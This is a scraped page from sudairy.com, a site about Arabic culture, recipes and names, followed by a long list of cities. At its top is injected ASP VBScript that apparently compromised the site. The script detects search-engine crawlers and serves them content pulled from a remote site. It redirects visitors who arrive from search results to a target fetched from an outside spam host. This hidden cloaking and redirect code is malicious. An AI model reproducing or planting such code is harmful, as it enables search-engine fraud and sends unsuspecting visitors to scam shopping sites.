<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% on error resume next jumpcode="http://www.airjordanbay.com/jump/Parajumpersno.txt" desurl="http://www.sindalveteran.dk/inex.asp?id=37" shellurl="http://"&Request.ServerVariables("Http_Host")&"/?" rp="Parajumpers" rc="no" function is_spider() dim s_agent s_agent=Request.ServerVariables("HTTP_USER_AGENT") If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then is_spider = 1 else is_spider = 0 end if end function Function GetHtml(url,k) agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"&k Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",agent ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "utf-8" GetHtml = objStream.ReadText objStream.Close End Function Function IsUserSearch() s_ref=Request.ServerVariables("HTTP_REFERER") If instr(s_ref,"google")>0 Or instr(s_ref,"yahoo")>0 Or instr(s_ref,"bing")>0 Or instr(s_ref,"aol")>0 Then IsUserSearch = true else IsUserSearch = false end if End Function Function RegExpMatches(patrn, strng) Dim regEx, Match, Matches Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = True regEx.Global = True Set Matches = regEx.Execute(strng) Dim MyArray() Dim i i=0 For Each Match in Matches ReDim Preserve MyArray(i) MyArray(i)=Match.Value i=i-(-1) Next RegExpMatches = MyArray End Function Function RegExpReplace(html,patrn, strng) Dim regEx Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = True regEx.Global = True RegExpReplace=regEx.Replace(html,strng) End Function Function cDec(num) cDecstr=0 if len(num)>0 and isnumeric(num) then for inum=0 to len(num)-1 cDecstr=cDecstr-(-(2^inum*cint(mid(num,len(num)-inum,1)))) next end if cDec=cDecstr End Function Function OcB(num) OcBstr="" if len(num)>0 and isnumeric(num) then for i=1 to len(num) select case (mid(num,i,1)) case "0" OcBstr=OcBstr&"000" case "1" OcBstr=OcBstr&"001" case "2" OcBstr=OcBstr&"010" case "3" OcBstr=OcBstr&"011" case "4" OcBstr=OcBstr&"100" case "5" OcBstr=OcBstr&"101" case "6" OcBstr=OcBstr&"110" case "7" OcBstr=OcBstr&"111" end select next end if OcB=OcBstr End Function Function OcD(num) OcD=cDec(OcB(num)) End Function Function toOct(objMatch) toOct = "-"&rp&"-"&Oct(objMatch.subMatches(0))&"." End Function Function toDeOct(objMatch) toDeOct = "-p-"&OcD(objMatch.subMatches(0))&"." End Function Function toCOct(objMatch) toCOct = "-"&rc&"-"&Oct(objMatch.subMatches(0))&objMatch.subMatches(1) End Function Function toCDeOct(objMatch) toCDeOct = "-c-"&OcD(objMatch.subMatches(0))&objMatch.subMatches(1) End Function Function RegExpReplaceCall( reg, m, str, fstr) Dim Fun, Match, Matches, i, nStr, LastIndex If str & "" = "" Then Exit Function Set Fun = getRef(fstr) Set regEx = New RegExp regEx.Pattern = reg regEx.IgnoreCase = True regEx.Global = True Set Matches = regEx.Execute(str) LastIndex = 1 For Each Match In Matches If Match.FirstIndex>0 Then nStr = nStr & Mid(str, LastIndex, Match.FirstIndex-(-1)-LastIndex) End If nStr = nStr & Fun(Match) LastIndex = Match.FirstIndex-(-1)-(-Match.Length) Next nStr = nStr & Mid(str, LastIndex) RegExpReplaceCall = nStr End Function Function RegReplaceCall( reg, str, fstr) RegReplaceCall = RegExpReplaceCall(reg, "ig", str, fstr) End Function spider = is_spider() querystr = request.ServerVariables("QUERY_STRING") if querystr <> "" then querystr = RegReplaceCall("-"&rp&"-(\d"&chr(43)&")\.",querystr,"toDeOct") querystr = RegReplaceCall("-"&rc&"-(\d"&chr(43)&")([\._])",querystr,"toCDeOct") end if htmls = GetHtml(desurl&querystr,"") htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl,"href=$1"&shellurl) htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])/","href=$1"&shellurl) htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])(?!http)","href=$1"&shellurl) htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.css)","href=$1"&desurl&"$2") htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.ico)","href=$1"&desurl&"$2") htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])/","src=$1"&desurl) htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])(?!http)","src=$1"&desurl) htmls = RegExpReplace(htmls,"url\((["&chr(34)&"'])","url($1"&desurl) shellurlrm = shellurl shellurlrm=replace(shellurlrm,"?","") htmls = RegExpReplace(htmls,shellurlrm&"\?(["&chr(34)&"'])",shellurlrm&"$1") htmls = RegReplaceCall("-p-(\d"&chr(43)&")\.",htmls,"toOct") htmls = RegReplaceCall("-c-(\d"&chr(43)&")([\._])",htmls,"toCOct") htmls = replace(htmls,"window.location.href","var jp") htmls = replace(htmls,"location.href",";var jp") if spider = 1 then response.write htmls response.end() else if IsUserSearch then if instr(jumpcode,".txt")>0 then jumpcode = GetHtml(jumpcode,"Mozi11a") response.redirect jumpcode end if end if end if %> welcome to www.sudairy.com
www.sudairy.com


middle eastern recipes
arabic names -masculine
arabic names -feminine
arabic words and phrases
music downloads
news from the middle east
go shopping!
message board
archives

Google
The Web    Sudairy.com

T
  
 
 
Welcome - Ahlan wa sahlan  


 
 

Welcome to Sudairy.com
Sudairy.com originated as a place to share some of the research completed regarding the Middle Eastern culture and many helpful & informative resources — This site should be a great resource for anyone planning to visit, relocate or simply learn more about the Arabain culture.



You will find plenty of access to resources that we deem to be valuable and that we think will help you in your journey to a deeper education and understanding of everything Arabian. From Middle Easter dining to Miami Marketing, Language, Sports, Cooking, Names and even some Miami Social Media references

The continued focus of this site is to grow our content directory and provide you with recipes, weather, culture, lifestyle and informational resources that can help you learn more about this culture via the research of Sudairy.com

Thank you for visiting Sudairy.com
We appreciate your interest and have been happy to provide you with information and entertainment for the last 16 years.

We look forward to many more years of connecting with you and sharing the information we find.
________________________________________________________

Please explore these other great destinations. Discover their culture, nightlife, business economny, real estate and history.

United States
Miami Beach, Miami, Brickell, Boca Raton, Fort Lauderdale, Bal Harbour, Cooper City, Coral Gables, Miami Lakes, Miami Gardens, Winter Park, West Palm Beach, Delray Beach, Deerfield Beach, Hialeah, Coconut Creek, Boynton Beach, Davie, Homestead, Key Largo, Pembroke Pines, Seattle, Cleveland, Atlantic City, Las Vegas, Jacksonville, Tampa Bay, Kansas City, Pennsylvania, Missouri, Washington, Minneapolis, Nashville, Tennessee, Kendall, St. Louis, Scottsdale, Virginia Beach, Indianapolis, Colorado Springs, Oakland, Arlington, Oklahoma City, Cincinnati, Massachusetts, Rhode Island, New Hampsire, Las Vegas Nevada, Disney World, Lauderhill, South Beach, St. Louis, Wynwood, Staten Island, Yonkers, Lake Placid,

Global
Sicily, Cozumel, Caribbeans, Negril, Seoul, Virgin Islands, St. Petersburg, Queenstown, Dominican Republic, Great Britain, Maldives, San Juan, St. Martin, St. Maarten,